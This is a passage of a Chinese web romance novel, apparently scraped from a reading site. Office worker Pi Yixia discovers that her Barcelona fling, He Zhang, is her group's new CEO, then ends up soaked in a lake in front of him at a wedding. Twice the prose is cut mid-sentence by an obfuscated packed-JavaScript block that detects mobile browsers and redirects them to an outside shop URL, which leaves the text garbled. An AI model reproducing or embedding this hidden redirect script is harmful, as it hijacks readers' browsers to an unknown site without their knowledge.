她是自言自语,皮一夏却“唰”地转回头,惊讶道:“贺章……哥哥?你哥旁边那男人,你认识?” 苏晨雪点头:“当然。” “他是谁?你们什么关系?” 她并不好奇贺章为什么出现在婚宴上,但如果他跟苏晨雪有什么特殊关系,比如相互喜欢之类的……那就太狗血了。 苏晨雪奇怪地看着她:“你不知道他吗?” “什么意思?”皮一夏满脸茫然,“我应该知道他吗?” “他是你们集团董事长的儿子呀。” 皮一夏先是一愣,继而脑内暴鸣。集团董事长的儿子……华森集团太子爷?!!! 华森集团就是她所在的华森文娱母公司,创始人叫贺华森,九十年代末华森集团靠互联网起家,经历了千禧年的互联网泡沫浪潮九死一生,之后引入资本壮大,先后开拓了金融、文旅、云计算、文娱四大业务支线,并于十二年后在纳斯达克上市。 二十四年后的今天,华森集团已经成为国内首屈一指的商业航母,年营收近万亿,集团太子爷的身价也应该过了千亿……这么恐怖的存在,竟然就是贺章吗?! 为什么她从来没听说过贺董事长的儿子?老天……苏苏会不会认错人了?这个贺章,不是在美国写代码的吗? 皮一夏双腿发软,眼含希冀地望向苏晨雪:“你确定吗?” 苏晨雪肯定地点了点头。 “是呀。我哥跟他是发小,不过两人关系不太好。贺章哥哥这些年一直在美国工作,是华森的非执行董事,很少在集团里露面,你以前不认识他可以理解,但是集团上个月裁撤了CEO,听说贺章哥哥当选了新任CEO,你不知道吗?” “我不知道啊……”皮一夏两眼呆滞。 如果知道,她一个小鸡崽子,肯定不会去招惹这样的猛兽啊! 虽然她在男女关系上经历丰富,但这么多年一直秉持着一个铁则,就是绝不和公司里的男生谈恋爱,免得分手之后彼此尴尬,或者互撕对骂,被同事们议论,影响她积极向上正能量的打工形象。 连平级的男同事她都不会招,更别提什么男上司了,可贺章还不是普通的男上司,他即将成为她老板的老板,他们的身份,差不多是皇帝和县太爷的关系!这样悬殊的差距,半个月前她竟那样大逆不道,甚至不是简简单单睡了一觉……刚刚还用八百块钱羞辱他,老天爷,我在哪里的罪过您吗? 皮一夏死的心都有了,苏晨雪还在自顾自答话:“也对。可能是因为还没对外发任命公告,所以子公司的人不知道吧,我也是听外公说的……皮皮,你怎么了?” 苏晨雪终于发现了她的异常。皮一夏白着脸,缥缈的目光落在喷泉池边。 “苏苏,贺……贺总是什么样的人啊?我是说性格。” 苏晨雪思索着说:“我只知道他从小就是学霸,不太爱说话,特别低调,不像我哥那么风骚。其实我跟他打交道不多,就是偶尔听外公提一嘴,说贺章哥哥跟贺伯伯,做事风格完全不一样。” 华森集团创始人贺华森温文儒雅,给人如沐春风之感……和他的风格完全不一样,那是鬼剎修罗风? “你觉得,贺总心眼大吗?如果有人惹了他,会遭到报复吗?”皮一夏感觉有点气虚。 幸好她刚刚没暴露身份。也幸好,Lola那个英文名是她信口胡诌的,中文名还没告诉过他。 退一万步讲,一个集团的首席执行官,下面几万号员工,而她只是文娱业务里一个小小的总监,即便他上任了,也不会知道她吧? 再退一万步讲,即便以后认出来了,他这个日理万机的高管,应该不至于打击报复、恶意辞退一个打工人吧…… 啊啊啊啊但还是好丢人啊!!她刚刚在车上竟然还想勾引他!!!一回想自己搔首弄姿那德行,她的脚趾都能再抠出一套两室一厅了!有没有什么魔法,能一键消除贺章的记忆?!就从半个月前开始…… 苏晨雪这时醒过神儿了,问:“你惹了贺章哥哥吗?” 皮一夏神色恍惚,点头又摇头。 苏晨雪被她风云变幻的脸色勾起了好奇心,晃着她手臂催促。 “快说,你怎么惹了他,不许瞒我!” “先别问了。”皮一夏惨烈的闭了闭眼。 她对尊敬的贺总,犯了死罪…… 正好有熟人迎面过来打招呼,话题被岔了过去,等人走开了,苏晨雪捂着嘴小声说:“一会儿再审你!” “好的好的……咱们先去看新娘子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428017|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赶快离开这个是非之地,千万别让贺总看见她。 皮一夏拖着苏晨雪,做贼似的闪进了城堡大门。 庭院正中央,褚彦背倚喷泉池,两肘支在池沿上,偏头看贺章:“求人求成你这副模样的,我生平仅见。你凭什么觉得,一辆车就能收买我?” “凭那是你梦寐已久,不惜代价想买的车。” 褚彦噎住。 没错,1970年产的第六代劳斯莱斯幻影,全球一共7辆,全部为皇室定制。 上个月,西班牙一个名叫哈维尔的富商发起拍卖,褚彦兴致勃勃地参与了竞拍,结果拍卖当天,哈维尔紧急取消了活动。他大失所望,谁知那车竟跑到了贺章手上。 “你到底耍了什么手段?” 能让哈维尔甘愿违约撤销拍卖,贺章要么是花了天价,要么就是耍了见不得人的手段。凭他对贺章的了解,第二种的可能性更大。 贺章没理会这个问题,抬手看了看表:“我给你两分钟时间考虑。” 褚彦被他的傲慢气得抬脚就走,走了几步又折返,恼道:“如今蒋鸿在华森一手遮天,你爸不想得罪昔日老友,找你回来收拾人。为了当选这个CEO,你大概也使了不少手腕吧。你们内部斗得一团乱,这时候拉我一起上火架,还给我两分钟时间考虑,我考虑什么考虑!” 再说了,他们是什么关系很好的朋友吗?分明是从小互相看不顺眼的对头! 中学时成绩总压他一头,还跟他爸说他交女朋友的事,害他挨了一顿好揍。不管贺章认不认,他一定就是那个告密者! 褚彦这辈子最烦贺章这种冷漠的装X犯,偏偏上个月还被这装X犯救了一命。 说起来也是莫名其妙。 两人都在耶鲁留学,他是哪热闹往哪钻,出入的都是各类Party、宴会、艺术展、歌剧院,结交的都是风雅别致的人物。 贺章呢,是怎么无聊怎么过,天天抱个破电脑,要么就是大部头的书,不是钻在图书馆,就是路边的咖啡店。 彼此都对对方的生活方式嗤之以鼻。 无论是上学时,还是工作后,贺章都很少参加大型的社交活动,谁知那天却出现在了耶鲁大学文学院教授詹姆斯举办的个人收藏展上。 更意想不到的是,展会还遭到了持枪抢劫。 凶徒后来被查出,是跟詹姆斯教授有过节的一个男学生,为了报复他,来展会上捣乱,虽然最终没造成人员伤亡,但当时对峙的场面还是挺吓人的,尤其是那男生手里有枪,并且真的开枪了。 褚彦为了救一个小女孩,被枪口抵住了后心。贺章一脚踢中那凶徒,帮他脱了困,结果自己跟人打了起来。 好在打赢了,不然肯定要把小命交代在那里。 因为这事,他欠贺章一个大大的人情。但人情是一回事,工作是另外一回事。 他如今在Lamoda时尚集团美国公司当闲差,天高老子远,日子很逍遥,根本不想回来,更不想掺和贺章自家集团的烂事。 贺章冷静道:“Lamoda时尚集团在华发展想更进一步,跟华森深化合作是最佳选择,华森可以在云计算和大数据领域全力支持Lamoda的数字化转型。据我所知,你们的老对手Beauté已经递来合作意向了,不想永远当老二,就好好考虑我说的事。” 念着贺章的人情,褚彦收起了恼怒,重又靠回喷泉池边,捏着下巴认真思量起来。不得不承认贺章说的对,但那是他爸褚云瑞该操心的事,轮不到他着急。 “再有,你总不能永远躲在国外。”贺章又补了一句。 褚彦眉心一跳,像被人掐住了七寸似的,恼怒,却无法反驳。 “一分钟。” 褚彦泄气:“你打算把我放到哪儿?” “文娱。” “好家伙……你们家最赔钱的板块。需要我做什么?” “什么都不用做,接着当你的二世祖。” “这么简单?”褚彦下意识警惕,“我怎么看不懂,你这棋想怎么下?打算怎么用我这颗子?” “放心,我不输,你就不会死。”贺章从林献手里接过车钥匙,丢给褚彦,“是你的了。” 褚彦一下一下抛着钥匙,幸灾乐祸地揶揄:“你会输吗?” 贺章漫不经心瞥了他一眼,什么也没说,褚彦却从他的眼神里看见四个字:你觉得呢。 可恶。又给他装到了。从小到大,他最烦贺章这种云淡风轻的不容置疑。 愣神的功夫,贺章已经抬腿走了。 褚彦扯住落后一步的林献,问:“这车,他到底怎么搞到手的?” 林献微笑答:“Ethan让我给哈维尔讲了一个美丽的爱情故事。” “……?”褚彦莫名其妙,“所以呢?” 4. 定价 林献进一步解释道:“哈维尔听说,男主人公想把这车送给错过多年的爱人,十分动情,就同意了我们的求购。” 褚彦:“……” 太荒唐了。他怎么不知道,那个哈维尔是个恋爱脑?还有,贺章欺骗一个这么纯情的人,良心不会痛吗? “你老板是个诈骗犯,早晚会被警察抓起来。”褚彦恨恨道。 林献有点想笑,但体面地忍住了,还贴心帮老板洗白说:“其实Ethan的出价很合理,即便按照拍卖的行情,也是只高不低的。” 只不过没有跟褚彦明着杠上,否则两人当面抢拍起来,价格只怕要炒高好几倍了。 “褚先生,”林献礼貌问,“需要我带您去看车吗?” 褚彦摆了摆手:“告诉我车停在哪,我自己去。你老板应该去跟蒋总打招呼了,你去帮他挡箭吧。”说完转身欲走,旋即又顿住脚,“既然回国了,就别按硅谷那套行事作风了,称呼他贺总吧,也好给集团里的爷叔们提个醒。” 林献点头:“褚先生提醒的是。” 十点半左右,宾客们齐聚城堡五层的宴会厅。 华森集团和Lamoda时尚集团的高层几乎全员到齐,打眼一瞧,全都是西装革履的老总们,仿佛什么大型商务宴会现场。 这毫不奇怪。 新娘苏婉愉的爷爷叫苏瑾荣,是华森集团四位创始人之一,他的股份占比虽不高,却是另外两位创始人贺华森和蒋鸿的老师。即便苏瑾荣已多年不参与华森事务管理,也还是德高望重的前辈。 而苏瑾荣的女儿,也就是苏晨雪的妈妈苏菁,再婚的丈夫是Lamoda时尚集团的掌门人,也就是褚彦的爸爸褚云瑞。因着这层姻亲关系,Lamoda时尚集团诸位高管对苏老也很敬重。 有这两大商业巨头加持,婚礼自然不同凡响。皮一夏站在流光溢彩的宴会厅里,简直眼花缭乱。 香槟金的厅里宴开近百桌,每桌都有一大捧今早空运来的厄瓜多尔玫瑰,身着各色高奢礼服的千金阔太们妆容精致,在华丽的水晶灯下言笑晏晏地交谈。饶是皮一夏见过些世面,此刻也要说,她只在电影《泰坦尼克号》头等舱的豪华宴会厅看见过相似的排场。 枉她刚才还担心穿旗袍露肩又露腿,显得出风头,此时看着一个个穿着清凉的美女,她简直像是上个世纪出土的古董女。 皮一夏瞬间就理解了贸然闯入Titanic头等舱的Jack。 带着新奇、审视和一点酸涩的仇富心理观赏了半天,她半泄气、半释然地想,既然这辈子都不可能实现阶层跃迁,还是干好牛马该干的事,找个僻静角落写她的PPT最靠谱。 苏晨雪被苏母叫去陪亲戚们寒暄了,皮一夏和公司里几位高管打过招呼后,就独自沿着环形回廊闲逛。走到楼梯附近,看见一个小型的露天吧台,正要拐进去,忽听里面传出声音。 “美国人的做事风格跟咱们不一样,你这几年在硅谷,精力都放在技术上,对集团的事务管理可能不适应,趁这个机会,跟各位叔伯长辈多学学、多听多看,慢慢来吧。” 蒋副董? 皮一夏停在拐角处,朝吧台的方向微微探头,确认了说话的人是蒋鸿——华森集团董事会副主席。 最近这一年来,董事长贺华森一直在病休,集团事务基本都交给蒋副董来打理了,皮一夏虽然和蒋副董没有工作交集,但在集团活动上见过,因此对他并不陌生。 蒋副董此刻背朝吧台入口,他对面的沙发椅上坐着一个男人……贺章?! 皮一夏瞬间缩回了头。 看来苏苏说的没错,贺章确实是集团新任CEO。 她的第一反应是溜之大吉,脚刚抬起,又被贺章的声音惊得顿住了。 “公司不是家,没有什么叔伯长辈,我虽资历浅,也不是对集团一无所知,无须各位董事迁就照顾。请蒋副董放心,我会尽快熟悉业务。” 波澜不惊到近乎冷漠的语气。 这时候再琢磨蒋副董那几句话,皮一夏听出点有意思的东西,这两个人似是在打机锋?蒋副董看似关心晚辈,实则在说贺章技术出身,又是外来的和尚,对集团管理一窍不通,有的是东西要学。 难怪同事们议论,这位集团二把手表面和气,做事却乾纲独断,爱摆老板架子,是典型的笑面虎。 看来,太子爷的处境也没那么好嘛。 不过话说回来,贺章是真不客气,一点面子也不给自己的长辈和上司留……所以这个人是真不好惹。不能再听墙角了,这城堡里面也最好少待,避免一切与贺章碰面的可能。 念头到这里,皮一夏果断转身。 邻近中午,太阳出来了,半遮半掩地挂在天边,驱散了些许凉意,暑气又开始冒头。 城堡西侧靠近大门处有一条人工湖,皮一夏坐在湖边的长椅上,写了几页PPT,感觉有点热,就把开衫脱下来,放到了一旁。 苏晨雪发微信来问在哪,大约是跟亲戚们寒暄完了。皮一夏回了句在院里,一会儿上去。放下手机就开始叹气,希望婚宴赶紧结束,不行她就中途离场算了。 正晃神时,余光瞥见身侧来了一个人,她转头一看,登时两眼一黑。 今天出门真是没看黄历!孙向前竟然追到这里来了……他怎么知道她在这?! 这位寸头的二世祖穿一件黑色无袖T恤,脖子上挂着不知道什么材质的链子,一把薅下脸上的墨镜,头发茬子都像在冒火。 “你怎么找到这的?”皮一夏冷脸合上电脑,收进背包里。 孙向前没回这句话,却一把攥住她手腕,将她从长椅上扯拽起来。 “你今天死定了!” 他说话的语气虽然狠,人看着却不凶,主要是肤白,面嫩,眼睛又小,没有那种凶神恶煞的气质。 皮一夏皱眉甩了甩他的手,没甩开。 “我道歉行了吧!不该骗你在拍摄,但你看到了,我今天真有事。再说,即便我没事,也有不见你的权利吧,都分手了……” “分他妈什么分?你要不要让人听听,你提分手的理由多离谱?我同意了吗?你丫这是劈腿!” 皮一夏有点无语。 说起分手的理由,就不得不提在一起的理由。 孙向前是华森的一家宣传供应商老板孙辉的儿子,一年前因为项目交集认识,孙向前的追求态度很明确,他是本地人,嘴贫、热络,一个花里胡哨的富二代,起初她是没什么兴趣的,毕竟那段时间她工作不算太忙,周末还能搞点外快,一个人待着也很充实,完全不需要恋爱的刺激。 某天无意中刷到孙向前发的抖音,他在桥洞下捡了只脏兮兮的流浪猫,带回去洗干净,还送去宠物医院检查……这点反差萌让她有点心动,就顺其自然地相处了三个月。 最初的一个月感觉还不错,熟了之后,她发现这人有点大男子主义,第一次和他哥们聚餐,结束后就开始教育人,让她在饭桌上给他留足面子。她一头雾水,当真开始反思自己,到底哪里下了他面子,但反思无果,就诚心求教。 孙向前说,他那些哥们的女朋友,一个比一个小鸟依人,又会撒娇卖乖,一口一个哥哥老公的叫着,就她,坐那跟个木头桩子似的,一晚上就知道吃和笑,让人扫兴。 一听这话,她当场就炸了。觉得谁小鸟依人找谁去呀,干嘛在她这受委屈!都是第一次见面的人,不吃和笑还能干嘛,站桌子上跳舞?! 两人吵了几句嘴,后来孙向前嬉皮笑脸地求和,她也没揪着不放。 结果刚和好没过一个月,他又开始当着她面开黄腔,比划一个女生的胸大,手感肯定好什么的……她瞬间就彻底下头了。 分手时大吵了一架,闹得很不愉快,孙向前可能以为她只是闹脾气,傲慢得连哄都不哄,还等着她主动回头讲和,甚至故意带漂亮妹妹在她跟前晃,试图让她吃醋。 她觉得这种行为很幼稚,就这么分了,孙向前也熄了火,在她这,就算是断干净了。现在许是跟漂亮妹妹分手了,又想起她这个竟敢甩他的前前任了,因为不甘心,才回头纠缠。 “孙向前,你一定要我把话说明白,那就说明白。我不喜欢你了,听懂了吗?你赶紧走吧!” 皮一夏嫌弃的要死,孙向前见状更火大,一把将她搡了出去,力气大的让她原地转了半圈,高跟鞋不知绊到了什么,踉跄退了几步,噗通一声,摔进了河里! “诶哟卧槽!” 孙向前被这陡生的变故整蒙圈了。反应过来,急忙蹚着水去救人。 万幸她只是摔到了浅水区,也好在会游泳,只是事发突然,呛了几口水,扑腾着从河里冒出头,见孙向前来捞她了,皮一夏一巴掌呼开了他。 “你他妈赶紧滚吧,我真是倒了八辈子霉遇见你……” 孙向前被她挥得往旁边错开两步,皮一夏的视线再无遮挡,冷不丁和一双漆黑的眼睛对上。 我靠……贺章怎么会出现在这里?! 满头满脸的水瞬间变成了汗……皮一夏心如死灰地闭了闭眼,睁开时,什么都没变。 不是梦。 贺章站在岸边,衬衫套马甲,双手插在西裤口袋里,与早上初见时的板正相比,多了几分闲适。 不知是不是她的错觉,他的眼睛里透着一丝玩味,好像在看戏……她可不就是一出好戏吗? 半个身子浸在水里,妆大概也花了,她这辈子的狼狈都在今天了。 贺章从什么时候站在这里的?怕不是全程围观了她跟孙向前拉扯的戏码? ……要不,她还是淹死吧。 皮一夏身上是冷的,旗袍湿哒哒黏着皮肤,手臂上冒出一层鸡皮疙瘩,脖子以上却开始红温预警。麻木地呆怔片刻,拖着沉重的身躯,面无表情往岸边走。 孙向前这会儿稳住了身形,又凑过来拉她,她没再拒绝,毕竟,不能再当着贺总的面演大戏了。 “摔伤没有?是不是很冷?我不是故意的……” 孙向前边说,边把身上的T恤扯下来,团吧团吧,给她擦脸。 皮一夏压抑着满腔愤怒看他,正要开口,瞥见身侧走来一个年轻男人。 那人一脸惊诧地说:“老孙,你还真来了,这是……怎么个事?” 皮一夏认出了这个长得像猴子的精瘦男。 刚进庄园时,她低着头给苏晨雪发微信,没看路,不小心撞了个人,那人“欸”了一声,说:“你不是,孙向前那女朋友吗?叫什么来着?” 她说:“你认错人了。”然后就走了,听见他在身后嘟囔,“不可能啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428018|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以,她在云溪庄园参加婚礼这消息,是孙向前这位好哥们透露出去的? 一定是了。 真是报应不爽。她遛了孙向前一上午,现在被他推到了水里……也算扯平了。 “你赶紧走,我不想在这跟你吵架。”皮一夏压着嗓子说。 孙向前不为所动:“你跟我一起走。你看衣服都湿了,我带你回家去换,不然该着凉了。”说着挪了挪身子,挡住了她的身形,眼神却不住地瞟她胸前,对他的好哥们说,“串子,你先去忙,咱们回头再聊。” 那位串子大概也觉得尴尬,哦了一声就走了。皮一夏扯开孙向前手里攥的T恤,丢回他身上。 “穿回去!” 说完下意识朝孙向前的右后方瞟了一眼,贺章在离他们五六步的地方站着,还在看戏。 孙向前顺着她的视线,也转头看了过去,当即指着贺章喊:“你丫看什么看,把眼睛给我闭上!” 我靠…… “孙向前!” 皮一夏气沉丹田吼了一声,把他吓得一愣。 “干嘛!”他也转头吼了回来。 “你赶紧走,现在!马上!” 她拿贺总当菩萨供着还来不及,孙向前竟然敢吼她的菩萨?!这是想她死啊!生吃了他都不解气! 正在这时,两个身穿安保制服的男人走了过来,径直停在孙向前身边说:“这位先生,请出示一下邀请函。” “什么邀请函?”孙向前一脸莫名。 安保说:“这座城堡今天被苏家包了,没有婚礼邀请函,是不能进入的,你怎么进来的?” “正大光明走进来的!我来找女朋友,不行吗?” 皮一夏瞪着他:“你再不走,惹急了我咱们都别活!” 安保闻言,更加确认了孙向前没有邀请函,一人一边,上来就要架走他。 孙向前很愤怒,但看见皮一夏那张更愤怒的脸,他莫名有点气短,挥开安保说:“我自己走行了吧!” 离开前,又把他那件皱巴巴的T恤丢回了她身上:“挡着点!我在外面等你。” 皮一夏直接摔地上,擦脚用了。 该走的都走了,不该留的还有一个……不是,什么时候变成两个了? 贺章身边,还站着早上那位助理。 算了,随便吧。她现在是死猪不怕开水烫,反正该丢的人已经丢完了。 皮一夏把脚伸到进水里,晃了晃涮干净,在孙向前的T恤上擦干,捡起地上的高跟鞋穿好。 这时视线里出现两双皮鞋。 她慢慢直起腰,看向身前的贺章和他助理。 “Lola小姐,”助理礼貌点头,“您好,我叫林献。” 皮一夏僵硬地扯出个笑:“你好。” “您的衣服湿了,先用这个挡一挡吧。” 林献小臂上搭着一件西服外套——是早上贺章穿的那件——朝她递过来。 皮一夏瞟了眼贺章,他还是那副冷漠的表情,隐约还带着几分怒气。 她脖子一缩,对搓着两臂,尴尬道:“不用了,谢谢。”她可不敢弄脏贺总的衣服。 说着走回长椅边,拿起自己的小开衫披上,拈起旗袍前摆,扯了扯,一松手,湿滑薄软的布料又贴回了身上,腰部以下曲线毕露……简直像赤身裸体一样。 在大街上裸奔怕不就是这种感觉……皮一夏面红耳赤,想死。 又瞟了眼林献手里的外套。 “那个……还是借我用一下吧。” 大不了还他一件新的!无论如何,先解决眼下的困境再说。 她讪笑着走回两人身边,快速接过来披在肩上。外套宽大,至臀部以下,刚好够遮住最尴尬的部位。 “谢谢啊。” “不客气。”林献仍然礼貌地笑着,“我去帮您取一条毯子来。”说完看了贺章一眼,见他没反应,就知道自己没领会错意思。 林献也是到这时才醒悟,为什么刚才蒋副董离开后,Ethan朝下面的庭院里扫了一眼,忽然起身说要出去逛逛,让他不必跟着了。 幸好他是一个专业的助理,时刻观察着老板的动向,并熟练掌握察言观色的基本功。 看来,这位Lola小姐在Ethan心里果真不一般。 若非如此,什么时候见过Ethan在一个女人身后干站了二十分钟,还把他叫过来管闲事的? 林献脚步轻快地离开了。 皮一夏双手交叠放在身前,恭敬地看向贺章:“那个……”现在还是假装不知道他是谁吧,“Ethan……先生。” 贺章挑了挑眉,似在等她的下文。 “刚才,对不起啊。我朋友不是故意的,我代他给您道个歉。” “你打算怎么道歉?”贺章问。 道歉不就是说句对不起,还要怎么道? 皮一夏想了想,懂了,一弯腰,来了个九十度鞠躬:“对不起!” 虽然有点屈辱……但是小女子能屈能伸,为五斗米折腰算什么?折腿也行。 她直起身,觑着贺章神色,却见他眉头皱了起来。 还不满意?这个人真难缠。感觉早上喊停他车的回旋镖扎了回来,皮一夏暗暗叹了口气:“要不,您说说,想让我怎么道歉?” 5. 口才 “回答我一个问题。”贺章冷道。 “您说。” “你是怎么给我定价的?” “……” 他两手插在西裤口袋,姿态闲适,但面无表情,看着有点可怕。 皮一夏咽了咽口水,笑容有点僵:“Ethan先生……您误会了。我给的是买衣服的钱,早上的事,责任不全在你们,我愿意承担一半衣服的费用。旗袍和开衫加起来1598,我给了八百,您看,是不是很合理?” 还多给了一块钱。 贺章眉梢一挑,眼含讥诮:“这样。” “嗯嗯嗯。”皮一夏狗腿地笑,“就是这样。” 其实这话不是假的,她给的就是买衣服的钱,在店里就想好了,不能因为衣服脏了,就胁迫人赔一套新的,这多少有点讹人,不过贺章结账太快,而且结完就离开了,她上车后一说话又忘了这事,直到下车前才记起。 贺章勾了勾嘴角:“我记得,‘银货两讫’的前一句是,‘你的表现,我很满意’。”所以这个“货”,显然不是指衣服。 皮一夏心里十分苦涩,笑得更真诚了:“……误会,误会。当时,我刚好想起您之前的问题,随口一答,如果冒犯了您,我道歉。” 绝不能承认,她确实存了羞辱他的心,才故意把话说的模棱两可,但是她现在清醒了,彻底清醒了。他愿意给谁送豪车就给谁送,愿意怎么对待女朋友就怎么对待,老板的私事不是她该置喙的。 她已经黔驴技穷了,贺章如果再揪着不放,她也没招了。 好在他说:“很好。” 皮一夏松了口气,正欲告辞,忽然又听他说:“下一个问题。” 还有问题?!到底有多少问题!!!! 皮一夏暗暗磨牙,扫见他凌厉的眼神,却不敢有任何异议。 如今她已经充分确认,贺章就是个睚眦必报的人。在西班牙时,完全没看出他是这种风格啊…… 她勉强扯了扯嘴角:“您问。” “那天之前,Lola小姐有伴侣吗?我要听真话。” 贺章盯着她,像阎王爷盯着叛逃的小鬼,任何的微表情都会被他识破。皮一夏心头猛跳,全赖这些年在职场上日复一日的修炼,才能在此时临危不惧,分外坦然地果断摇头。 “没有。”如果他知道自己差不多算是一顶绿帽子,她大概可以准备后事了。 话音刚落,猛烈的钝痛袭来,皮一夏蹙眉“啊”了一声,弯腰揉着左侧小腿,蹒跚走到长椅边,歪坐下去。 大概是刚才受惊又受凉,腿抽筋了。 “抱歉,我缓缓。” 小腿里面结了两三个硬疙瘩,此起彼伏地鼓动着,来回窜,像蛊虫在乱钻。她龇牙咧嘴地揉了半天,并没有缓解。 这时,听见贺章说:“试试,脚尖勾起来。” 她来不及多想,死马当作活马医,使劲勾了下脚尖……好像真的有用! 小腿的肌肉绷紧时,抽搐感就会减轻一些,她勾着脚尖又揉了一会儿,筋渐渐放松下来,开始一阵阵轻微地抽动。 “谢谢啊。” 皮一夏抬头朝他笑笑,心想贺总虽然冷酷无情小心眼,但也不是全无人性?毕竟在巴塞罗那时,他还是做了好事的,人总不会这么快就彻底转了性子吧?她忽然感觉前途稍微光明了一些,眼下再看贺总,除了惊惧,竟觉得顺眼了不少。 这就像一个好人不小心做了件坏事,大家会对好人做出差评。然而一个恶贯满盈的人,只要稍稍表露一点善意,大家就会想,这个恶人也不是彻头彻尾的坏。 其实很没道理。但无论如何,气氛是缓和下来了。 皮一夏忽然有个想法,既然事情避无可避,倒不如趁此机会把话说开,以后万一再遇见,也能像正常的陌生人一样和平相处。 “Ethan先生,我想跟您说几句话……您要不要先坐下?” 她把长椅上的电脑包往身边拢了拢,给他腾出位置。贺章默了几秒,走过来坐下。 太阳升到正南了,气温比早上高不少,皮一夏坐着树荫底下,西服外套包裹的上半身湿热黏腻,下半身凉飕飕,被贺章冷冷地注视着,更是忍不住打了个寒战。 她讨好地笑了笑,斟酌着说:“成年男女之间,因为荷尔蒙的作用相互吸引,发生关系,是很自然、很常见的事。无论过程怎么样,我们彼此都没有实质损失。因为一些原因,我提前回国,没有和您打招呼,确实有些失礼。但是我想,这不值得您计较。毕竟,在美丽的巴塞罗那,一切不快都应该被原谅,您后来也一定有更美好的际遇。基于此,我想对我们之间的关系做一个总结。” 讲这一串外交辞令的过程里,皮一夏一直在观察贺章的神色,但他面无表情,看不出喜怒。 好在他没有打断,且在她停顿的间隙,也没有反驳的意思,那是不是代表,他也认同她的看法? 皮一夏莫名感觉受到了鼓舞,笑得更加真心实意,开始做最后的总结陈词。 “作为见过两面的陌生人,我们初见和谐愉快,再见对彼此没有恶意,以后更应该友好礼貌地相处……Ethan先生,您觉得呢?” 认同我吧!如此华丽优美的橄榄枝,您还能找出它的瑕疵吗? 她的嘴角挂着弧度完美的笑,澄澈的眼睛里全是真诚、恳切。 贺章盯着她沉默两秒,忽然笑了。嘴角缓缓抬起,眼皮慢慢弯曲,是一个真正的笑。 皮一夏发誓,世界上没有任何一个男人,能像他笑起来这么有味道。上眼皮叠了好几层,藏进硬挺眉弓下深邃的眼窝里,弯起的凤眼像条小鱼,眼尾两条细褶,勾勒出鱼尾的形状。漫不经心却带一丝玩味的笑,瞬间就把那张冷寂的脸点亮了。 “Lola小姐,是做什么工作的?” 冷不丁听见这么一声问话,她猛地回神,懵着脸“啊”了一声,他们刚刚在说什么来着? “宣传……” 下意识回答完才记起,她在车上说过,自己是干文案的……还有,刚才正在盘他们之间的关系,希望他接下她抛出的橄榄枝,认同他们应该友好相处,即便以后在工作中遇见,也要毫无芥蒂地对待她。 可是贺章没回应,却问她做什么工作? “文案策划,属于宣传部门……我刚刚说过的。”她眼含戒备。 贺章脸上的笑消失了,神情又恢复到先前的淡漠,眼里那一丝玩味还在。 “口才不错。” “谢谢。”她谦虚地笑了笑,“看来您也认同我刚才的话?” “没办法不认同。” 那真是太好了。 “但是。” ……但是? 这没完没了的转折,简直让她心脏病犯了。 “你似乎很健忘。” “什么意思?”皮一夏有点茫然,“我忘什么了?” 贺章冷眼盯着面前的人,微张的红唇泄露了稍许错愕,那双栗色大眼睛里透着蓬勃的生命力,像春夏之交的太阳,明亮得让人忽视她此时衣着和头发的狼狈。 这样乖巧的一张脸,骗人的花样却那样多! 微信语音铃声突然炸响,皮一夏惊得心里一抖。 是苏晨雪。 她接通后,苏晨雪问:“我下楼了,你在哪?” “穿过庭院,西南角大门这边,有一条湖……”她脑中霎时闪过一个念头,于是猛地收住了话头,正好看到林献回来了,就匆匆说了句,“原地等着,我过去找你。”挂掉了语音。 林献胳膊上搭着一条白色浴巾,和一条咖色披肩。 “Lola小姐,酒店没有备用的衣服,您先擦擦头发,拿这披肩应急,稍后我帮您去买件衣服?”林献说着看了贺章一眼。 皮一夏忙道:“不用不用,谢谢了,我找朋友去想办法。” 快点让她走吧。再不走,苏苏就要找到这了。 皮一夏起身接过浴巾,胡乱擦了几下头发,把披肩罩在身上。这披肩很大,跟半条被子似的,长度在她膝盖上方。 好了,现在旗袍外面是开衫,开衫外面是西装外套,外套外面还有条披肩……她彻底裹成粽子了。 “我先走了。”皮一夏颔首向贺章告辞。 话音刚落,听见一声熟悉的惊呼:“我的天啊!” 皮一夏心里一沉,僵硬地转头看向身侧……苏苏还是来了。 苏晨雪小跑过来,抓住她胳膊上下打量着:“你怎么弄成这样?头发怎么都湿了?掉河里了吗?” “没事没事,我们先走再说。”皮一夏握住她的手,疯狂使眼色。好姐妹,千万别在这时候暴露我。 苏晨雪不解其意,与此同时也看见了贺章,神色诧异地叫了一声:“贺章哥哥?” 后者淡淡地“嗯”了一声,从长椅上站了起来。 苏晨雪茫然又狐疑的目光在她和贺章之间逡巡,十分想搞清楚发生了什么。皮一夏急中生智想了个话题,避免了她再开口。 “林助理,您给我留个电话吧,等外套干洗好了,我闪送给您。” 林献有点蒙。为什么不直接拿给Ethan呢?两人不是认识吗?难道Lola小姐没有Ethan的电话和地址? 林献的目光转向贺章,但很少有的,他看不懂老板的神色,这是该不该给呢? 他茫然无措地沉默了两秒,当机立断道:“抱歉,我还没来得及配国内的手机号……我把Ethan的电话留给您?” 林献问的是她,眼神看得却是贺章。 皮一夏:“……” 苏晨雪:“Lola小姐?你什么时候……” “苏苏!”皮一夏火速打断了她的话,“一会儿再说。”然后转向林献,“随便谁的电话都行。”快点的吧。 